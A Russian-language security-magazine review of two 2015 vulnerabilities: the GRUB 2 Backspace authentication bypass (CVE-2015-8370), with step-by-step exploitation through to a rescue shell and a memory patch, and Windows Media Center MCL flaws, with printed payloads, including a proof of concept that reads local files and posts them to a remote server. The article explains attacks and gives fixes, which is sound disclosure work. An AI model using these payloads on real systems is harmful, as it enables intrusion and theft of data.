Сегодня мы разберем возможность выполнения своего кода в Linux и в Windows. В опенсорсной ОС провинился загрузчик GRUB: в нем нашли способ обойти авторизацию и добраться до консоли восстановления, причем уязвимость существует еще с 2009 года. В Windows «недокументированные возможности» нашли в стандартном медиаплеере: он при определенных условиях позволяет исполнять JavaScript.

 

Проблема с аутентификацией в GRUB 2

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 14 декабря 2015 года
Автор: Hector Marco, Ismael Ripoll
CVE: 2015-8370

GRUB 2 — самая важная часть большинства систем *nix, она позволяет управлять загрузкой ОС, а также может защитить твое устройство дополнительным паролем. Найденная уязвимость позволяет обойти этот запрос пароля. Впервые она была раскрыта 10 декабря 2015 года на конференции IX Jornadas STIC CCN-CERT, а 14 декабря появилась публичная информация. В качестве тестового стенда авторами был выбран Debian 7.5, запущенный внутри QEMU.

Для проверки системы на уязвимость просто нажми клавишу Backspace 28 раз в тот момент, когда GRUB спросит имя пользователя. Если в итоге система перезагрузится или появится rescue shell, то поздравляю — устройство может быть успешно атаковано.

GRUB rescue shell — это очень мощное средство. Оно позволяет атакующему сделать следующее:

  • повысить привилегии. Атакующему не нужно знать ни логин, ни пароль существующего пользователя;
  • раскрыть важную информацию. Атакующий может загрузить свои собственные ядро и initframs (к примеру, с USB-устройства) и затем, работая из более удобной среды, скопировать весь диск или установить руткит;
  • вызвать DoS. Атакующий может уничтожить все данные внутри GRUB. Или, если диск зашифрован, перезаписать, вызвав DoS.

Эта уязвимость появилась в GRUB начиная с версии 1.98 после патча с хешем b391bdb2f2c5ccf29da66cecdbfb7566656a704d, который затрагивает функцию grub_password_get(). На деле проблемных функций оказывается две: grub_username_get() и grub_password_get(), они находятся в grub-core/normal/auth.c и lib/crypto.c соответственно. Обе функции похожи, за исключением вызова printf() в grub_username_get(). Пример эксплоита, который мы рассмотрим дальше, основан на эксплуатации ошибки в функции grub_username_get() для получения доступа к GRUB rescue shell.

Вот содержимое уязвимой функции grub_username_get() из grub-core/normal/auth.c.

static int
grub_username_get (char buf[], unsigned buf_size)
{
  unsigned cur_len = 0;
  int key;

  while (1)
    {
      key = grub_getkey ();
      if (key == '\n' || key == '\r')
        break;

      if (key == '\e')
        {
          cur_len = 0;
          break;
        }

      if (key == '\b')  // Не проверяет на целочисленное опустошение
        {
          cur_len--; // Целочисленное опустошение (integer underflow)
          grub_printf ("\b");
          continue;
        }

      if (!grub_isprint (key))
        continue;

      if (cur_len + 2 < buf_size)
        {
          buf[cur_len++] = key; // Сдвиг на два
          grub_printf ("%c", key);
        }
    }

  grub_memset( buf + cur_len, 0, buf_size - cur_len); // Выход за границы массива

  grub_xputs ("\n");
  grub_refresh ();

  return (key != '\e');
}

Ошибка вызывается из-за уменьшения значения переменной cur_len без соответствующей проверки.

 

EXPLOIT

Для эксплуатации мы можем использовать следующие ошибки памяти: сдвиг на два и выход за границы.

Первая ошибка перезаписывает два байта ниже буфера с именем пользователя. Локальная переменная называется login в функции grub_auth_check_authentication(), но эта область не содержит полезной информации для проведения атаки, поэтому пропустим ее.

Следующая ошибка более интересна для нас, потому что позволяет перезаписать нулями область перед буфером с именем пользователя. Это происходит из-за того, что функция grub_memset() пытается установить ноль для всех неиспользуемых байтов в этом буфере. Чтобы сделать это, код вычисляет адрес первого неиспользуемого байта и сколько байтов в буфере после этого нужно обнулить. В итоге результаты расчетов попадают в функцию grub_memset() в качестве аргументов.

grub_memset (buf + cur_len, 0, buf_size - cur_len);

К примеру, напишем в качестве имени пользователя root. Длина (cur_len) будет равна пяти, и функция grub_memset() очистит (установит 0) байты с пятого по 1024 – 5 (размер буфера для имени пользователя и пароля равен 1024) в имени пользователя. Это надежный путь программирования: к примеру, если набранное имя пользователя сохранилось в очищенном 1024-байтовом массиве, то затем мы можем сравнить эти 1024 байта с правильным именем пользователя вместо сравнения обеих строк. Это защищает от некоторых атак по сторонним каналам, к примеру от атаки по времени.

Для выхода за границы массива атакующий может нажать клавишу Backspace: значение cur_len будет уменьшаться, в итоге это приведет к тому, что оно примет максимальное значение. Далее оно будет использовано для расчета начального адреса процедуры очищения (обнуления):

memset destination address = buf + cur_len

В этой точке происходит второе переполнение, потому что результат сложения такого большого числа и базового адреса буфера с именем пользователя не может быть переведен в 32-битное значение. Таким образом, мы можем управлять первым опустошением и вторым переполнением для расчета конечного адреса, с которого функция grub_memset() начнет обнулять байты буфера.

cur_len--; // Целочисленное опустошение
grub_memset (buf + cur_len, 0, buf_size - cur_len); // Целочисленное переполнение

Следующий пример поможет нам понять, как это можно проэксплуатировать. Предположим, что буфер с именем пользователя находится по адресу 0x7f674 и атакующий нажал клавишу Backspace один раз (создав опустошение до 0xFFFFFFFF). Получим следующее:

grub_memset (0x7f673, 0, 1025);

Первый аргумент — это:

(buf+cur_len) = (0x7f674+0xFFFFFFFF) = (0x7f674-1) = 0x7f673

Второй аргумент — это константа, значение которой используется для перезаписи области, в нашем случае это 0; третий аргумент — количество байтов для перезаписи.

(buf_size-cur_len) = (1024-(-1)) = 1025

Следовательно, весь буфер с именем пользователя (1024) плюс первый байт над буфером будет установлен в 0. То есть количество нажатий клавиши Backspace (без введенного имени пользователя) равно количеству байтов, которые будут обнулены за буфером с именем пользователя.

Теперь мы можем перезаписать произвольное количество байтов после имени пользователя. Найдем интересный участок памяти, который сможем этими нулями переписать. При беглом осмотре текущего фрейма стека авторы обнаружили возможность перезаписать адрес возврата функции grub_memset(). На скриншоте представлено расположение значений на стеке.

Содержимое памяти при выполнении функции grub_memset()
Содержимое памяти при выполнении функции grub_memset()

Как ты уже заметил, адрес возврата функции grub_memset() располагается на расстоянии 16 байт от буфера с именем пользователя. Другими словами, если мы нажмем Backspace 17 раз, то перезапишем верхний байт адреса возврата. Таким образом, вместо того, чтобы вернуться на адрес 0x07eb53e8, мы перейдем по адресу 0x00eb53e8. Переход по такому адресу вызовет перезагрузку устройства. То же самое получится, если мы нажмем клавишу 18, 19 и 20 раз. Во всех этих случаях произойдет перезагрузка. Другими словами, мы можем контролировать поток управления.

Не будем рассматривать случаи с переходами по адресам 0x00eb53e8, 0x000053e8 и 0x000000e8, которые вызывают перезагрузку, так как в таких случаях у нас нет полноценного управления. Рассмотрим, есть ли рабочий вектор атаки после перехода по адресу 0x0.

Адрес 0x0 указывает на таблицу векторов прерываний (IVT) процессора, которая содержит множество указателей вида segment:offset.

Таблица векторов прерываний (IVT)
Таблица векторов прерываний (IVT)

На ранних этапах цикла загрузки процессор и фреймворк выполнения функционируют не полностью. Вот основные различия:

  • процессор находится в защищенном режиме. GRUB 2 включает его в самом начале;
  • виртуальная память недоступна;
  • память не защищена. То есть она доступна для чтения, записи и выполнения. Нет NX/DEP;
  • нет ASLR;
  • нет SSP;
  • процессор выполняет 32-битные инструкции даже на 64-битных архитектурах;
  • самомодификация кода автоматически обрабатывается процессором.

Поэтому попадание на адрес 0x0 не будет таким бесполезным, каким кажется на первый взгляд. Но нам нужно контролировать поток управления для получения доступа к функции grub_rescue_run(), которая содержит желанный GRUB 2 rescue shell.

Главный цикл while функции grub_username_get() заканчивается, когда пользователь нажал клавишу Enter или Esc. Регистр %ebx содержит значение последней нажатой клавиши (ASCII-значения 0xd для Enter или 0x8 для Esc), регистр %esi хранит значение переменной cur_len. %eip же указывает на адрес 0x0 и %esi содержит значение -28 (эксплоит работает при нажатии на Backspace 28 раз) и затем Enter (%ebx == 0xd).

Важные регистры процессора
Важные регистры процессора

Теперь перейдем к таблице векторов прерываний. Если состояние процессора представлено в этой таблице, то код из нее выполняет подобие memcpy(), который копирует из адреса, указанного в %esi в 0x0 (то есть сам в себя). Следовательно, IVT представляет собой самомодифицирующийся код, и мы можем копировать выбранные блоки. Ниже на скриншотах представлен процесс переноса кода с использованием значения из %esi, равного -28 (0xFFFFFFE4).

Первая итерация самомодификации
Первая итерация самомодификации
Вторая итерация самомодификации
Вторая итерация самомодификации

Во время третьей итерации полученный код содержит инструкцию retw по адресу 0x0007. Значение указателя на %esp равно 0xE00C. И поэтому после выполнения retw управление перейдет на адрес 0xE00C. Этот адрес является частью функции grub_rescue_run(). Вот ассемблерный код.

<grub_rescue_run>:
  0xdfef:    push   %ebp
  0xdff0:    mov    %esp,%ebp
  0xdff2:    sub    $0x24,%esp
  0xdff5:    push   $0xe90a
  0xdffa:    call   0xd53b   #
  0xdfff:    add    $0x10,%esp
  0xe002:    call   0xbfd2   #
  0xe007:    xor    %edx,%edx
  0xe009:    lea    -0xc(%ebp),%eax
->0xe00c:    movl   $0x0,0x16ce0-->
  0xe016:    call   0xdf28

И соответствующий код на C.

void __attribute__ ((noreturn)) grub_rescue_run (void){

  . . .

  while (1)
    {
      char *line;

      /* Печать ошибки */
      grub_print_error ();
----->grub_errno = GRUB_ERR_NONE;

      grub_rescue_read_line (&line, 0, NULL);
      if (! line || line[0] == '\0')
        continue;

      grub_rescue_parse_line (line, grub_rescue_read_line,
                              NULL);
      grub_free (line);
    }
}

В итоге получаем локальный шелл с довольно большими правами.

GRUB 2 rescue shell
GRUB 2 rescue shell

К счастью, содержимое памяти после наших манипуляций не сильно пострадало, и поэтому мы можем пользоваться всеми функциями GRUB 2. Только вот первый вектор таблицы прерываний был изменен. С этого момента процессор находится в защищенном режиме, и IVT больше не используется.

Таким образом, получили еще и обход аутентификации. И если мы вернемся в нормальный режим, то у нас запросят имя пользователя и пароль. Поэтому нам нужно воспользоваться командами linux, initrd или insmod для получения доступа к диску или установки своего ПО.

Для этого тоже есть простое решение. Нужно пропатчить код GRUB 2, который находится в памяти, таким образом, чтобы всегда быть авторизованным; после этого вернуться в обычный режим GRUB. На скриншоте представлен исходный код функции is_authenticated() из grub-core/normal/auth.c и необходимые изменения.

Инструкция nop перезаписывает части кода функции аутентификации
Инструкция nop перезаписывает части кода функции аутентификации

Патчить память можно при помощи команды write_word из арсенала GRUB rescue shell, а команда normal вернет тебя в обычный режим.

grub rescue> write_word 0x7eb514e 0x90909090
grub rescue> normal

Чтобы установить свое ПО на устройство, нужно в обычном режиме изменить один из примеров загрузки ОС, добавив init=/bin/bash. На следующем скриншоте показано, как совершить такое изменение.

Добавляем свой /bin/bash в команду загрузки ОС
Добавляем свой /bin/bash в команду загрузки ОС

Ниже показан пример монтирования USB-носителя и установки с него своего модуля в атакуемую систему. В данном случае liblpc4.so представляет собой модифицированную библиотеку Firefox, которая запускает новый процесс и открывает шелл на 53-м порту.

«Заражение» системы
«Заражение» системы

Патч и комментарии ты можешь найти в оригинальном отчете авторов. В одном из разделов они привели сценарий целевой атаки с использованием этой уязвимости. А также предложили для автоматизации воспользоваться дополнительными устройствами, к примеру Teensy.

 

TARGETS

GRUB 1.98 (декабрь 2009-го) — 2.02 (декабрь 2015-го).

 

SOLUTION

Есть исправление от производителя.

 

Выполнение своего кода через уязвимости в Windows Media Center

 

CVSSv2

9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C), 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)

 

BRIEF

Дата релиза: 8 сентября 2015 года, 8 декабря 2015 года
Автор: Srinivas, x4zx, CoreSecurity
CVE: CVE-2015-2509, CVE-2015-6131, CVE-2015-6127

Разберем несколько связанных друг с другом ошибок во встроенном проигрывателе Windows. Первый баг всплыл в утекшей переписке небезызвестной Hacking Team. Уязвимость содержится в обработке файлов с форматом Media Center (MCL) и позволяет запустить произвольный код при попытке открыть его в проигрывателе. И так как ее эксплуатация тривиальна, то вскоре появился пример эксплоита.

<application run="c:\windows\system32\calc.exe">
Пример эксплоита для CVE-2015-2509
Пример эксплоита для CVE-2015-2509

Но у такой «атаки» есть ограничение — мы не можем передать аргументы. То есть, к примеру, команда cmd.exe /c ipconfig внутри файла MCL не сработает: код запускается с теми же правами, что и у пользователя, кликнувшего по файлу.

Чтобы не просто передать аргументы, но и запустить свой код, предпримем следующие шаги.

  1. Создадим полезную exe-нагрузку.
  2. Чтобы файл не вызвал подозрений у системы, воспользуемся UNC-путем с помощью простого сервера SMB.
  3. Создадим файл с расширением mcl и отправим атакуемому пользователю.
  4. ...

Для симуляции описанных шагов можешь использовать Impacket Smb Server.

Пример эксплоита для CVE-2015-2509 с UNC-путем
Пример эксплоита для CVE-2015-2509 с UNC-путем

Другая уязвимость была снова найдена в обработчике файлов MCL. Если в качестве проигрываемого источника внутри MCL указать специально созданный плей-лист M3U, то при попытке его открыть приложение упадет. Автор также приводит пример выполнения JavaScript на стороне клиента. Для успешной атаки нужен включенный Active Scripting в Internet Explorer и ситуация, в которой пользователь кликнет на MCL.

Для падения приложения нужно создать файл с расширением htm и следующим содержимым.

<script>
function IsMCEEnabled() {
  return true;
}

window.external.MediaCenter.PlayMedia(1, "http://attackerIP/crash.m3u");
window.external.MediaCenter.CloseApplication();
</script>

Функция сообщает Media Center, что она сделана специально для него.

Теперь создаем плей-лист M3U.

#EXTM3U
#EXTINF:0,FLV
httphost://$

Далее помещаем в MCL следующую ссылку и отправляем:

<application run="http://attackerIP/crash.htm">

В ходе экспериментов автор также обнаружил возможность выполнения JavaScript. Наверняка тут есть какие-то ограничения, но запуск банальной функции alert() работает.

Проверка работы JavaScript в Windows Media Center в виде привета от автора уязвимости
Проверка работы JavaScript в Windows Media Center в виде привета от автора уязвимости
 

EXPLOIT

Для эксплуатации 2015-2509 есть несколько скриптов, в том числе модуль для Metasploit. Вот пара вариантов:

Успешный запуск вредоносного MCL
Успешный запуск вредоносного MCL

Исследователь Шахриман Сам в своем блоге предлагает использовать метод DLL hijacking для сокрытия полезной нагрузки.

Специалисты из Core Security в своем отчете привели текст эксплоита, который отправляет файлы с атакованного устройства на сервер злоумышленника.

<application url="poc-microsoft.mcl"
name="Showcase"
bgcolor="RGB(255,255,255)"
sharedviewport="false">
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=edge" >
</head>
<body>
<script type="text/javascript">

    function do_upload(fname, data){
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.open("POST", "<a href="http://192.168.1.50/uploadfile.php">http://192.168.1.50/uploadfile.php</a>", true);
        xmlhttp.setRequestHeader("Content-type", "multipart/form-data");
        xmlhttp.setRequestHeader("Connection", "close");
        xmlhttp.onreadystatechange = function(){if (xmlhttp.readyState == 4){alert(fname + " done.");}}
        xmlhttp.send(new Uint8Array(data));
    }


    function read_local_file(filename){
        /* Must use this one, XMLHttpRequest() doesn't allow to read local files */
        var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlhttp.open("GET", filename, false);
        xmlhttp.send();
        return xmlhttp.responseBody.toArray();
    }


    function upload_file(filename){
        try{
            do_upload(filename, read_local_file(filename));
        }catch(e){
            alert(filename + " error: " + e);
        }
    }


    upload_file("file:///C:/Windows/System32/calc.exe");

</script>
</body>
</html>

</application>
 

TARGETS

Системы, в которых отсутствуют патчи MS15-100 и MS15-134. Протестировано на Windows 7.

 

SOLUTION

Есть исправление от производителя. Разработчик предлагает возможное временное решение:

  • сохранить значение ключа реестра [HKEY_CLASSES_ROOT\MCL], если понадобится восстановить;
  • удалить ключ реестра `[HKEY_CLASSES_ROOT\MCL].

Оставить мнение